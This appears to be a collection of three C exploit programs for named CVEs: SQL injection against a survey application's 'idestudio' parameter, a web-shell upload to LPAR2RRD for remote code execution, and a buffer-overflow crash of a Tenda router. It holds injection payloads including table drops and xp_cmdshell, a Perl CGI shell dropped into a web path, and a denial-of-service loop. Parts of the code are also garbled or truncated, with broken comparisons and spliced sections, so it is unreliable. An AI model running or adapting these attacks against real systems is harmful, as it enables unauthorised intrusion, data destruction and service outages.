strlen

/* * Author : Byte Reaper * CVE : CVE-2025-41373 * Vulnerability : SQL * Affected Path : /encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio= * Affected Versions : 2.1.2217.3 to v4.4.2236.1 * Description: * This endpoint concatenates the idestudio parameter directly into an SQL query * without proper sanitization or parameterization, allowing an attacker to inject * arbitrary SQL. We leverage both boolean-based and time-based techniques to detect. */ #include #include #include #include "argparse.h" #include #include #include #define FULL_URL 4300 int verbose = 0; int useC = 0; const char *url = NULL; const char *cookies = NULL; void sleepSyscall(void) { struct timespec sleepR; sleepR.tv_sec = 1; sleepR.tv_nsec = 0; asm volatile ( "mov $35, %%rax\n\t" "mov %0, %%rdi\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "r" (&sleepR) : "rax", "rdi", "rsi", "rcx", "r11", "memory" ); } void exitAssembly(void ) { asm volatile ( "xor %%rdi, %%rdi\n\t" "mov $0x3C, %%rax\n\t" "syscall\n\t" : : : "rax", "rdi" ); } void uid(void) { const char *mes1 = "\e[1;36m[+] Run Exploit Root Successfully\e[0m\n"; size_t len1 = strlen(mes1); const char *mes2 = "\e[1;31m[-] Please Run Exploit In Root, Exit...\e[0m\n"; size_t len2 = strlen(mes2); asm volatile( "mov $107, %%rax\n\t" "syscall\n\t" "cmp $0, %%rax\n\t" "JZ .root\n\t" "jmp .not_root\n\t" ".root:\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[mes1], %%rsi\n\t" "mov %[len1], %%rdx\n\t" "syscall\n\t" "jmp .end\n\t" ".not_root:\n\t" "mov $1, %%rax\n\t" "mov $1, %%rdi\n\t" "mov %[mes2], %%rsi\n\t" "mov %[len2], %%rdx\n\t" "syscall\n\t" ".end:\n\t" : : [mes1] "r" (mes1), [len1] "r" (len1), [mes2] "r" (mes2), [len2] "r" (len2) : "rax", "rdi", "rsi", "rdx", "rcx", "r11", "memory" ); } const char *payload[] = { "' OR '1'='1", "\" OR \"1\"=\"1", "' OR 1=1 --", "\" OR 1=1 --", "' OR '1'='1' --", "' OR 1=1#", "' OR 1=1/*", "admin'--", "admin' #", "admin'/*", "' OR 1=1-- -", "' OR/**/1=1--", "'//OR//1=1#", "' OR%%201=1--", "' OR%%091=1--", "' OR%0a1=1--", "' OR%%0b1=1--", "' oR 1=1--", "' Or 1=1--", "' oR/**/1=1--", "' OR 0x31=0x31--", "1; DROP TABLE users --", "1; EXEC xp_cmdshell('dir') --", "UNION SELECT NULL,NULL,NULL --", "UNION SELECT username,password FROM users --", "' UNION SELECT NULL,NULL,NULL --", "' UNION SELECT NULL,NULL,NULL#", ",(select * from (select(sleep(4)))a)", "';WAITFOR DELAY '0:0:4'--", NULL }; const char *word[] = { "SQL syntax", "syntax error", "mysql_fetch", "mysql_num_rows", "You have an error in your SQL syntax", "Warning: mysql", "Warning: pg_", "Unclosed quotation mark", "Microsoft OLE DB Provider for SQL Server", "Microsoft SQL Native Client error", "ODBC SQL Server Driver", "ORA-01756", "ORA-00933", "SQLSTATE", "PDOException", "invalid query", "mysql_numrows()", "mysql_result()", "mysql_query()", "Query failed", "Syntax error", "DB error", "error in your SQL syntax", "Unexpected end of SQL command", "Incorrect syntax near", "user", "admin", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { printf("\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitAssembly(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void clean(char *buffer, size_t len, CURL *curl,char *encode ) { free(buffer); buffer = NULL; len = 0; curl_easy_cleanup(curl); curl_free(encode); } int waf = 0; int wafD(const char *urlW) { CURL *curl = curl_easy_init(); CURLcode res; struct Mem wafServer; wafServer.buffer= NULL; wafServer.len = 0; const char *payloadSql = "OR 1=1 --"; char *encode = curl_easy_escape(curl, payloadSql, strlen(payloadSql)); char full[FULL_URL]; if (!encode) { printf("\e[1;31m[-] Error Encode Payload !\e[0m\n"); clean(wafServer.buffer, wafServer.len, curl, encode); exitAssembly(); } int len = snprintf(full, sizeof(full), "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", urlW, encode); if (len = sizeof(full)) { printf("\e[1;31m[-] FULL URL Is Long \n"); clean(wafServer.buffer, wafServer.len,curl,encode); exitAssembly(); } if (curl == NULL || !curl) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); clean(wafServer.buffer, wafServer.len, curl, encode); exitAssembly(); } int result = 0; if (curl) { printf("\e[1;35m===========================================================================================\e[0m\n"); printf("\e[1;35m[+] Scan WAF Start...\e[0m\n"); printf("\e[1;37m[+] FULL URL : %s\e[0m\n", full); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &wafServer); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepSyscall(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *h = NULL; h = curl_slist_append(h, "User-Agent: sqlmap"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, h); res = curl_easy_perform(curl); curl_slist_free_all(h); double timeWaf = 0; if (res == CURLE_OK) { int a = 0; int b =1; int c = 3; int d = 4; long code; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code); curl_easy_getinfo(curl, CURLINFO_TOTAL_TIME, &timeWaf); printf("\e[1;36m[+] Check Http Code...\e[0m\n"); printf("\e[1;32m[+] Http Code => %ld\e[0m\n", code); if (code == 500 || code == 403 || code == 406) { printf("\e[1;35m---------------------------------------\e[0m\n"); printf("\e[1;34m[+] Http Code (500, 403, 406) ! \e[0m\n"); printf("\e[1;34m[+] Waf Detect (Page Not Found) \e[0m\n"); printf("\e[1;35m--------------------------------------\e[0m\n"); a = 1; } else { printf("\e[1;31m[-] Not Detected Waf (HTTP CODE) !\e[0m\n"); } printf("\e[1;36m[+] Check Response Server (NULL)\e[0m\n"); const char *wordWaf[] = { "cloudflare", "sucuri", "mod_security", "incapsula", "akamai", "f5-big-ip", "waf", "firewall", "blocked", "access denied", "forbidden", "security", "protected by", "request rejected", "webshield", "ddos protection", "intrusion prevention", "proxy server", "bot detection", "deny", "you have been blocked", "unauthorized", "client blocked", "blocked by firewall", "bad request", "threat", "filtering", "deny access", "rule id", NULL }; if (code >= 200 && code = 3.0) { printf("\e[1;34m[+] Suspicious delay in response: %.2f sec\e[0m\n", timeWaf); } else { printf("\e[1;31m[-] Not Detect Waf (Time) !\e[0m\n"); } printf("\e[1;35m==========================\e[0m\n"); printf("\e[1;33m[+] Result Scan : \e[0m\n"); if (a || b || c || d) { printf("\e[1;31m[-] Waf Detected \e[0m\n"); result = 0; } else { printf("\e[1;34m[+] Not Detect Waf !\e[0m\n"); result =1; } printf("\e[1;35m===========================================================================================\e[0m\n"); } else { printf("\e[1;31m[-] No connection reset error.\e[0m\n"); printf("\e[1;31m[-] Error Send Request, Please Check Your Connection !\e[0m\n"); printf("\e[1;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); } } curl_easy_cleanup(curl); free(wafServer.buffer); wafServer.buffer = NULL; wafServer.len = 0; return result; } void httpRequest(const char *url) { CURL *curl = curl_easy_init(); struct Mem response; CURLcode res; response.buffer =NULL; response.len = 0; if (!curl || curl == NULL) { printf("\e[1;31m[-] Error Create Object CURL !\e[0m\n"); printf("\e[1;31m[-] Please Check Your Connection\e[0m\n"); exitAssembly(); } int y = 0; if (curl) { printf("\e[1;34m[+] Create CURL Successfully\e[0m\n"); for (int pL = 0; payload[pL] != NULL; pL++) { char full[FULL_URL]; char *encodePayload = curl_easy_escape(curl, payload[pL], strlen(payload[pL])); if (!encodePayload) { printf("\e[1;31m[-] Error Encode Payload !\e[0m\n"); clean(response.buffer, response.len, curl, encodePayload); exitAssembly(); } int lenF = snprintf(full, sizeof(full), "%s/encuestas/integraweb_v4/integra/html/view/hislistadoacciones.php?idestudio=%s", url,encodePayload); if (lenF = sizeof(full)) { printf("\e[1;31m[-] FULL URL is LONG ! \n"); clean(response.buffer, response.len, curl, encodePayload); exitAssembly(); } printf("\e[1;37m[+] Encode Payload : %s\e[0m\n", encodePayload); printf("\e[1;37m[+] Base URL : %s\e[0m\n", url); printf("\e[1;37m[+] Full URL : %s\e[0m\n", full); char ip[256]; if (sscanf(full, "http://%255[^/]/encuestas/", ip) == 1) { printf("\e[1;37m[+] target Ip / Domain : %s\e[0m\n", (char *)ip); y = 1; } else { printf("\e[1;31m[-] Error Get Target Ip In FULL URL !\e[0m\n"); y = 0; } curl_easy_setopt(curl, CURLOPT_URL, full); if (useC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepSyscall(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "Accept-Language: en-US,en"); headers = curl_slist_append(headers, "Connection: keep-alive"); char r[130]; int lenR = snprintf(r, sizeof(r), "Referer: %s", url); if (lenR = sizeof(r)) { printf("\e[1;31m[-] Len Header Referer Is long !\e[0m\n"); clean(response.buffer,response.len, curl, encodePayload); exitAssembly(); } headers = curl_slist_append(headers, r); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Content-Type: application/x_222-form-urlencoded"); if (y == 0) { char host[230]; int lenHo = snprintf(host , sizeof(host), "Host: %s",ip); headers = curl_slist_append(headers, host); } headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); free(response.buffer); response.buffer = NULL; response.len = 0; time_t start = clock(); if (res == CURLE_OK) { long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;31m--------------------------------------------------------------------------------------------------------\n"); printf("\e[1;36m[+] Request sent successfully\e[0m\n"); if (response.buffer) { printf("\e[1;34m\n======================================== [RESPONSE] ========================================\e[0m\n"); printf("%s\n", response.buffer); printf("\e[1;34m==============================================================================================\e[0m\n"); } else { printf("\e[1;31m[-] Response Is NULL !\e[0m\n"); } if (httpCode >= 200 && httpCode \n"); curl_global_cleanup(); exitAssembly(); }; printf("---------------------------------------------------------------------\n\n"); printf("[+] Start Exploit (CVE-2025-54589)...\n"); uid(); if (cookies) { useC = 1; } if (verbose) { verbose = 1; } if (w) { wafD(url); } else { httpRequest(url); } curl_global_cleanup(); return 0; }

/* * Author : Byte Reaper * Title : LPAR2RRD 8.04 - Remote Code Execution (RCE) * CVE : CVE-2025-54769 * Vulnerability: RCE && directory traversal * Description : Uploads a malicious Perl script via the LPAR2RRD upgrade endpoint, * exploits directory traversal to place it in a CGI-executable path, then triggers remote command execution. */ #include #include #include #include "argparse.h" #include #include #include #define FULL 2500 void sleepAssembly() { struct timespec s ; s.tv_sec = 0; s.tv_nsec = 500000000; asm volatile ( "mov $35, %%rax\n\t" "xor %%rsi, %%rsi\n\t" "syscall\n\t" : : "D" (&s) : "rax", "rsi", "memory" ); } void syscallLinux() { asm volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int fileS = 0; int useCookies = 0; int verboseMode = 0; const char *cookies; const char *ip = NULL; int portService = 0; int port = 0; int protocolS = 0; const char *protocol = NULL; int CreateFilePerl() { FILE *fileP = fopen("users.pl", "w"); if (fileP == NULL) { printf("\e[1;31m[-] Error Create File (users.pl)\e[0m\n"); syscallLinux(); return 0; } printf("[+] Create File Successfully\n"); char payloadContent[7000]; int payload = snprintf(payloadContent, sizeof(payloadContent), "#!/usr/bin/perl\n" "use strict;\n" "use warnings;\n" "use CGI;\n" "my $q = CGI->new;\n" "my %%PAR = map { $_ => scalar $q->param($_) } $q->param;\n" "if ( $PAR{cmd} && $PAR{cmd} eq \"commandLinux\")\n" "{\n" "\tprint \"Content-type: text/html\\n\\n\";\n" "\tmy $commandW = qx(/usr/bin/whoami 2>&1);\n" "\tprint $commandW;\n" "}\n" ); if (payload = sizeof(payloadContent)) { fprintf(stderr, "\e[1;31m[-] Perl payload truncated or formatting error\e[0m\n"); syscallLinux(); } size_t e = strlen(payloadContent); unsigned long writeLen = fwrite(payloadContent, 1, strlen(payloadContent), fileP); if (writeLen != e) { printf("\e[1;31m[-] Error Fwrite Payload in File Perl\e[0m\n"); syscallLinux(); return 0; } printf("\e[1;36m[+] Write Payload in File Successfully\e[0m\n"); fclose(fileP); return 1; } const char *resultCommand[] = { "root", "admin", "user", "ssh", "/home/", NULL }; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); syscallLinux(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void getRequest(CURL *curl, const char *targetIP) { struct Mem responseGet ; responseGet.buffer = NULL; responseGet.len = 0; CURLcode codeLib; char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/users.sh?cmd=commandLinux", proto, targetIP, prt); if (n = sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &responseGet); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } printf("\e[1;37m[+] GET URL: %s\e[0m\n", full); struct curl_slist *headers = NULL; headers = curl_slist_append(headers , "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Upgrade-Insecure-Requests: 1"); headers = curl_slist_append(headers, "Sec-Fetch-Dest: document"); headers = curl_slist_append(headers, "Sec-Fetch-Mode: navigate"); headers = curl_slist_append(headers, "Priority: u=0, i"); headers = curl_slist_append(headers, "Pragma: no-cache"); headers = curl_slist_append(headers, "Cache-Control: no-cache"); headers = curl_slist_append(headers, "Connection: keep-alive"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLib = curl_easy_perform(curl); curl_slist_free_all(headers); if (codeLib == CURLE_OK) { printf("\e[1;35m=================================================== [GET] ===================================================\e[0m\n"); long codeH = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &codeH); printf("\e[1;36m[+] Request GET sent successfully\e[0m\n"); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", codeH); if (responseGet.buffer) { if (verboseMode) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\e[0m\n"); printf("%s\n", responseGet.buffer); printf("\e[1;35m===================================================================================================================\e[0m\n"); } } if (codeH >= 200 && codeH %ld\e[0m\n", codeH); if (responseGet.buffer) { printf("\e[1;35m=================================================== [RESPONSE] ===================================================\n"); printf("%s\n", responseGet.buffer); printf("\e[1;32m[+] Len Response : %zu\e[0m\n", responseGet.len); printf("\e[1;35m===================================================================================================================\n"); for (int j = 0; resultCommand[j]; j++) { if (strstr(responseGet.buffer, resultCommand[j])) { printf("\e[1;34m[+] Word Found In Response.\e[0m\n"); printf("\e[1;34m[+] Word : %s\e[0m\n", resultCommand[j]); printf("\e[1;36m[+] The server is experiencing a vulnerability (CVE-2025-54769)\e[0m\n"); } else { if (verboseMode) { printf("\e[1;31m[-] Not Found Word In Response : %s\e[0m\n", resultCommand[j]); } else { continue; } } } } else { printf("\e[1;31m[-] Response Server Is NULL !\e[0m\n"); if (verboseMode) { printf("\e[1;31m[-] Exit Syscall\e[0m\n"); } } } else { printf("\e[1;31m[-] HTTP Code Not Range Positive (200 %s\e[0m\n", response.buffer); printf("\e[1;32m[+] Response Len -> %zu\e[0m\n", response.len); printf("\e[1;35m=======================================================================================\n"); } if (!curl) { fprintf(stderr, "\e[1;31m[-] Failed to init CURL\e[0m\n"); syscallLinux(); } char full[FULL]; const char *proto = protocolS ? protocol : "https"; int prt = portService ? port : (strcmp(proto, "http") == 0 ? 80 : 443); int n = snprintf(full, sizeof(full), "%s://%s:%d/lpar2rrd-cgi/upgrade.sh", proto, ipS, prt); if (n = sizeof(full)) { fprintf(stderr, "\e[1;31m[-] URL buffer too small\e[0m\n"); syscallLinux(); } if (!CreateFilePerl()) { fprintf(stderr, "\e[1;31m[-] Failed to create File users.pl\e[0m\n"); syscallLinux(); } printf("\e[1;34m[+] Uploading %s to %s\n", "users.pl", full); curl_mime *form = curl_mime_init(curl); curl_mimepart *field = curl_mime_addpart(form); curl_mime_name(field, "upgfile"); curl_mime_filedata(field, "users.pl"); curl_mime_filename(field, "users.pl"); curl_mime_type(field, "application/x-perl"); curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_MIMEPOST, form); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); sleepAssembly(); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); if (useCookies) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } if (verboseMode) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; char host[128]; int lenIp = snprintf(host , sizeof(host), "Host: %s:%d", ipS, prt); if (lenIp = sizeof(host)) { printf("\e[1;31m[-] IP Address is Long !\e[0m\n"); syscallLinux(); } headers = curl_slist_append(headers, "Accept: */*"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "X-Requested-With: XMLHttpRequest"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Priority: u=0"); headers = curl_slist_append(headers, "Authorization: "); headers = curl_slist_append(headers, "Referer: http://127.0.0.1/lpar2rrd/index.html?amenu=upgrade&tab=0"); headers = curl_slist_append(headers , host); void *m = memset(host , 0, sizeof(host)); if (m == NULL) { fprintf(stderr,"\e[1;31m[-] Error Clean HOST IP (memset() == NULL)\e[0m\n"); syscallLinux(); } int lenO = snprintf(host , sizeof(host), "Origin: https://%s:%d", ipS, prt); if (lenO = sizeof(host)) { syscallLinux(); } headers = curl_slist_append(headers, host); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); codeLibCurl = curl_easy_perform(curl); curl_mime_free(form); curl_slist_free_all(headers); if (codeLibCurl != CURLE_OK) { fprintf(stderr, "\e[1;31m[-] curl error: %s\e[0m\n", curl_easy_strerror(codeLibCurl)); syscallLinux(); } long httpCode = 0; curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;36m[+] Protocol : %s\e[0m\n", protocol); printf("\e[1;36m[+] Port : %d\e[0m\n", port); printf("\e[1;32m[+] Http Code -> %ld\e[0m\n", httpCode);; if (httpCode >= 200 && httpCode \e[0m\n"); fprintf(stderr,"\e[1;31m[-] Exit Syscall\e[0m\n"); syscallLinux(); } if (verboseMode) { verboseMode = 1; } if (cookies) { useCookies = 1; } if (port) { portService = 1; } if (protocol) { protocolS = 1; } remoteCode(ip); curl_global_cleanup(); return 0; }

/* * Title : Tenda FH451 1.0.0.9 Router - Stack-based Buffer Overflow * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-7795 * Vulnerability : Buffer Overflow * Description : * A buffer overflow vulnerability affecting certain Tenda routers, * exploitable via an unauthenticated POST request to an unprotected endpoint, leading to service crash. */ #include #include #include #include "argparse.h" #include #include #include #include #define FULL_URL 2500 #define POST_DATA 10000 const char *targetUrl = NULL; const char *targetip = NULL; int selectIp = 0; int selectUrl = 0; int verbose = 0; int showOne = 0; char postData[POST_DATA]; struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (!tmp) return 0; m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } void pingPacket() { int pid = fork(); printf("\n============================================== [Ping] ==============================================\n"); if (pid PID: %d\e[0m\n", getpid()); char *const argv[] = { "/bin/ping", "-c", "3", (char *)targetip, NULL }; char *const envp[] = { NULL }; asm volatile ( "mov $59, %%rax\n\t" "mov %[prog], %%rdi\n\t" "mov %[argv], %%rsi\n\t" "mov %[envp], %%rdx\n\t" "syscall\n\t" "mov $60, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : [prog] "r" (argv[0]), [argv] "r" (argv), [envp] "r" (envp) : "rax", "rdi", "rsi", "rdx" ); } else { printf("\e[1;32m[+] Main PID : %d\e[0m\n", getpid()); int status; waitpid(pid, &status, 0); if (WIFEXITED(status)) { int code = WEXITSTATUS(status); printf("\e[1;33m[+] Ping exited with code: %d\e[0m\n", code); if (code == 0) { printf("\e[1;31m[-] Successfully confirmed connection via ping!\e[0m\n"); printf("\e[1;31m[-] The server is still working, please try again!\n\e[0m"); } else { printf("\e[1;34m[+] The server is not responding to the ping request!\e[0m\n"); printf("\e[1;34m[+] CVE-2025-7795: Vulnerability confirmed! Server is down.\e[0m\n"); } } } printf("\n============================================================================================\e[0m\n"); } void sendRequest() { CURL *c = curl_easy_init(); CURLcode res; char full[FULL_URL]; struct Mem response = {NULL, 0}; if (!c) { printf("\e[1;31m[-] Error Create Object Curl !\e[0m\n"); exit(EXIT_FAILURE); } if (targetip) selectIp = 1; if (targetUrl) selectUrl = 1; if (selectIp) { snprintf(full, sizeof(full), "http://%s/goform/fromP2pListFilter", targetip); } if (selectUrl) { snprintf(full, sizeof(full), "%s/goform/fromP2pListFilter", targetUrl); } int rounds = 5; int baseLen = 3500, step = 1000; showOne = 1; for (int i = 0; i = sizeof(postData)) break; snprintf(postData, sizeof(postData), "list="); memset(postData + 5, 'A', len); postData[5 + len] = '\0'; printf("\e[1;34m[%d] Iteration %d - Length: %d\e[0m\n", i+1, i+1, len); if (verbose) { printf("\e[1;35m\n====================================================================[Post Data] ====================================================================\e[0m\n"); printf("%s\e[0m\n\n", postData); printf("\e[1;35m====================================================================[Post Data] ====================================================================\e[0m\n"); } curl_easy_reset(c); curl_easy_setopt(c, CURLOPT_URL, full); curl_easy_setopt(c, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(c, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(c, CURLOPT_POST, 1L); curl_easy_setopt(c, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(c, CURLOPT_POSTFIELDSIZE, (long)strlen(postData)); curl_easy_setopt(c, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(c, CURLOPT_WRITEDATA, &response); curl_easy_setopt(c, CURLOPT_CONNECTTIMEOUT, 5L); curl_easy_setopt(c, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(c, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(c, CURLOPT_SSL_VERIFYHOST, 0L); struct curl_slist *h = NULL; h = curl_slist_append(h, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"); h = curl_slist_append(h, "Accept-Encoding: gzip, deflate, br"); h = curl_slist_append(h, "Accept-Language: en-US,en;q=0.5"); h = curl_slist_append(h, "Connection: keep-alive"); h = curl_slist_append(h, "Referer: http://example.com"); h = curl_slist_append(h, "Cache-Control: no-cache"); h = curl_slist_append(h, "Pragma: no-cache"); curl_easy_setopt(c, CURLOPT_HTTPHEADER, h); if (verbose) curl_easy_setopt(c, CURLOPT_VERBOSE, 1L); char *encode1 = curl_easy_escape(c, full, 0); if (!encode1) { printf("\e[1;31m[-] URL encoding failed for payload\e[0m\n"); exit(EXIT_FAILURE); } if (verbose && showOne) { printf("\e[1;37m========================================="); if (selectUrl) printf("\e[1;37m[+] Input Url : %s\e[0m\n[+] Encode Url : %s\e[0m\n[+] full format Url : %s\e[0m\n", targetUrl, encode1, full); if (selectIp) printf("\e[1;37m[+] Input Ip : %s\e[0m\n[+] full format Url : %s\e[0m\n", targetip, full); printf("========================================="); showOne = 0; } res = curl_easy_perform(c); curl_slist_free_all(h); curl_free(encode1); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } if (res == CURLE_OK) { long httpCode = 0; printf("\e[1;36m[+] Request sent successfully\e[0m\n"); curl_easy_getinfo(c, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[1;32m[+] Http Code Response : %ld\e[0m\n", httpCode); if (httpCode >= 200 && httpCode < 300) { printf("\e[1;31m[-] The server was not affected, still working !\n"); printf("\e[1;33m-------------------------------- Response Server --------------------------------\e[0m\n"); printf("%s\e[0m\n", response.buffer); printf("\e[1;33m-----------------------------------------------------------------------------------\e[0m\n"); } else { printf("\e[1;34m[+] Negative server response. I started trying to confirm the connection...\e[0m\n"); printf("[+] Run Command Ping For Check Connection : \e[0m\n"); if (selectIp) pingPacket(); else printf("[-] Error Run Command Ping for URl !\e[0m\n[-] Please Enter Target Ip for Check Connection !\e[0m\n"); } } else { printf("[-] Error Send Request, Please Check Your Connection !\e[0m\n"); printf("[-] Error : %s\n", curl_easy_strerror(res)); } } free(response.buffer); curl_easy_cleanup(c); } int main(int argc, const char **argv) { printf( "\e[1;31m" "▄▖▖▖▄▖ ▄▖▄▖▄▖▄▖ ▄▖▄▖▄▖▄▖ \n" "▌ ▌▌▙▖▄▖▄▌▛▌▄▌▙▖▄▖ ▌ ▌▙▌▙▖ \n" "▙▖▚▘▙▖ ▙▖█▌▙▖▄▌ ▌ ▌▄▌▄▌ \n" " \e[1;37mByte Reaper\e[0m\n" ); printf("\e[1;37m---------------------------------------------------------------------------------------------------------------------------------\e[0m\n"); if (getuid() != 0) { printf("===================================================\e[0m\n"); printf("[-] Not running as root. Trying with sudo...\e[0m\n"); char *args[] = {(char*)"sudo", (char*)"./exploit", NULL}; execvp("sudo", args); perror("[-] Error Run Exploit in Root !"); asm volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : : "rdi" ); } printf("\e[1;36m[+] Running as root! Exploit continues...\e[0m\n"); printf("===================================================\e[0m\n"); struct argparse_option options[] = { OPT_HELP(), OPT_STRING('i', "ip", &targetip, "Enter Target IP"), OPT_STRING('u', "url", &targetUrl, "Enter Target URL"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (!targetip && !targetUrl) { printf("\e[1;33m[-] Please Enter Target IP OR URl !\e[0m\n"); printf("\e[1;33m[!] Exemple : ./exploit -u http://ROUTER_IP\e[0m\n"); printf("[+] OR \n"); printf("\e[1;33m[!] Exemple : ./exploit -i ROUTER_IP\e[0m\n"); asm volatile( "xor %%rdi, %%rdi\n\t" "mov 